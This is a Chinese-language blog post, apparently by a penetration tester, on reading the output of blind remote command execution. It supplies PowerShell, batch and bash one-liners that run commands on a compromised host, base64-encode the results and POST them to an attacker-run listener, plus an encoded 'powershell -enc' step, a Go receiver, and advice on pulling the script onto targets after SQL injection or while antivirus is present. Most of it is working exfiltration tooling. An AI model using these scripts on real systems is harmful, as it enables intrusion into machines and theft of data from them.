通过HttpLog方式查看命令回显

基于前面写的一篇文章:关于命令执行无回显的那档子事

------ 2023.4.28 update ------

4月1号遇到的问题现在解决了,因为考虑到可能部分主机不存在curl环境,所以最终还是基于powershell来实现,实际使用中如果出现错误,则可能是目标主机的powershell版本的原因,需要稍加排查。

------ 2023.4.1 update ------

实际情况下好像不是很适用,不支持在本地混淆命令后在复制命令去目标上执行,因为本地混淆的结果拿去目标机器上执行,获得的结果是本地执行的结果,和目标无关,下文中有些地方可能描述不准确。所以混淆的时候还是需要在目标机器上混淆,实际使用的时候可能会比较鸡肋。如果是一行一行的在目标上执行powershell命令,可能会存在每次执行命令的时候都新开启了一个cmd进程,这个时候在powershell中定义的变量在进程不相同的情况下就无法互相引用。所以实际使用还是不适合。卒。

------

由于使用Python开启简单http服务器方式获取无回显RCE的结果可能会有些杂乱,在返回结果相对较多的情况下可能不是很好用。所以在基于该方式的基础上,自写了一个工具,其实也不是自写的,是chatGPT帮我写的。该工具实现了一个简单的HTTP服务器监听,然后在命令执行的位置执行命令,并将命令的结果返回到该HTTP监听中,实现无杂乱信息填充的命令回显结果。

这种情况目前我能想到的适用场景有三种:

  1. 通过SQL注入堆叠加DBA权限下,命令回显慢或者说无回显的情况下使用;

  2. 目标机器有杀毒软件,不考虑机器上线到C2或者说不想花时间去免杀但是想通过命令执行查看一些信息的情况;

  3. 其他一些RCE漏洞无回显,需看执行结果的情况;

基于这些场景的前提是目标机器得出网。

实现过程-旧

注意:这是旧版本实现方式,实际使用会有问题,若要使用,参考新的实现方式。

通过powershell将执行命令进行base64编码后再通过post方式提交到HTTP的监听服务中。

Powershell命令集:

# 记得更改url的信息,只改ip和端口,后面的login不用更改,更改后无法正常接收
$url = "http://127.0.0.1:8080/login"
#$result = &"net user"    # 这是另一种powershell下将变量当作命令执行的方式
$result = Invoke-Expression "net user"  #这是要执行的命令
$resultString = $result | Out-String
$base64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($resultString))
$resultBytes = [System.Convert]::FromBase64String($base64)
Invoke-WebRequest -UseBasicParsing $url -Method POST -Body $resultBytes

原本想的是将这个保存为一个ps1脚本,然后执行ps1脚本的时候直接输入参数填充ip地址,端口号以及要执行的命令等等,但是由于windows中powershell的默认策略是不允许执行ps1脚本,若要执行需要先更改策略,所以就不折腾ps1脚本了,可以一行一行写入,然后再执行,也可以将这些指令通过编码,然后使用powershell -enc xxxx的方式以一行的形式执行。

当然,这几行指令也可以换成一行,只需要把回车符删掉,更换为";"即可以一行方式进行执行也可。

也可以通过混淆后执行:

$content = Get-Content -Path "C:\Users\Dev\Desktop\1.txt" -Raw # 这是上面powershell的内容保存为一个txt文件的目录信息
$base64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($content))
Write-Host "powershell -enc" $base64
#powershell.exe -enc $base64

将上述powershell内容保存为ps1文件在本地运行,这样就不用每次执行命令时都要粘贴很多次命令了;省了一些步骤,也增加了一定安全性。

弊端是每次执行命令需要更改txt中的命令信息,然后进行混淆后再执行。

运行结果如下:

run1.png

实现过程-新

通过bat脚本,然后在bat脚本中调用powershell命令,将命令执行的结果使用powershell进行base64编码后,提交到Http监听器上,然后Http监听端将接收到的Post请求进行base64解码,并返回到控制台中,实现命令的回显。

set cmd1=%1
set cmd2=%2
set cmd3=%3
set cmd4=%4
set cmd5=%5
set cmd6=%6
set url=http://127.0.0.1:8080/login
powershell $result="%cmd1% %cmd2% %cmd3% %cmd4% %cmd5%| Out-String";$base64=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($result));Invoke-WebRequest -UseBasicParsing %url% -Method POST -Body $base64

设置多个cmd的set是因为执行某些带有多个空格间隔的命令的时候,如果数量不够,会导致命令执行结果异常,具体请参考上一篇文章描述。

将上述命令保存为bat脚本,并更改url的地址,需要注意的是,如果使用的是下述的golang代码,那么,只需要更改ip和端口即可,login路径不能更改,更改了过后Http监听端无法接收到请求数据。

实际使用的时候,若是目标出网,则将该bat脚本远程下载到目标机器上,然后调用该脚本执行命令,且Http端开启监听即可。

使用结果如下:

这样只需要在vps端开启golang编写的一个小型Http监听端,然后通过无回显的入口点执行命令即可完成命令的回显。

Golang代码

下面为golang实现的一个简单的Http监听端的代码,直接编译即可使用。

使用方式举例:main.exe --port 8080

package main

import (
	"encoding/base64"
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	var port int
	flag.IntVar(&port, "port", 8080, "port")
	flag.Parse()
	http.HandleFunc("/login", httpHandle)
	listen := fmt.Sprintf("0.0.0.0:%d", port)
	http.ListenAndServe(listen, nil)
}

func httpHandle(w http.ResponseWriter, r *http.Request) {
	body, err := ioutil.ReadAll(r.Body)
	if err != nil {
		http.Error(w, "Error reading request body", http.StatusInternalServerError)
		return
	}
	resultDec, err := base64.StdEncoding.DecodeString(string(body))
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Printf("%s", resultDec)
	fmt.Println("--------------------------------------------------------------------------------------------------")
}

本来打算用c#实现,因为c#编译出来比较小,但是考虑到这种情况的适用场景基本都是以Linux为服务端开启HTTP监听,用c#的话得换成Core核心编译,编译过程相对复杂一些,所以直接适用Golang编译来得快一些;

这里通过Golang开启一个HTTP服务,默认地址 0.0.0.0,并监听接收到的"/login"路径信息,然后将信息输出。所有不是 POST“/login”的请求都不会正常识别。

原始的运行结果如下:

run2.png

服务端指定端口开启HTTP监听后,通过在无回显命令执行的位置,执行相关powershell命令,获取命令回显。

关于Linux的无回显

其实Linux的无回显和Windows实现方式一致,只是Linux系统大多数都有curl命令,且curl可直接提交Post数据,以及Linux进行base64的编码非常简单,所以只需要些一个简单的bash脚本,将命令执行的结果base64然后使用curl提交Http监听端即可;具体可参照上一篇文章的方式,修改bash脚本即可。

具体实现,就两行命令,只需要修改命令的内容,保存为sh脚本再运行即可:

base64=$(eval "$1"|base64)
curl http://127.0.0.1:8080/login -X POST -d "$base64"

将该bash脚本上传或写入到目标服务器,并赋予执行权限,调用:xx.sh ifconfig或者xx.sh "ls /" 即可。

实际运行截图:

上面部分为golang编写的简单Http监听端,下面部分为bash脚本内容以及执行的命令,然后它们的回显内容等。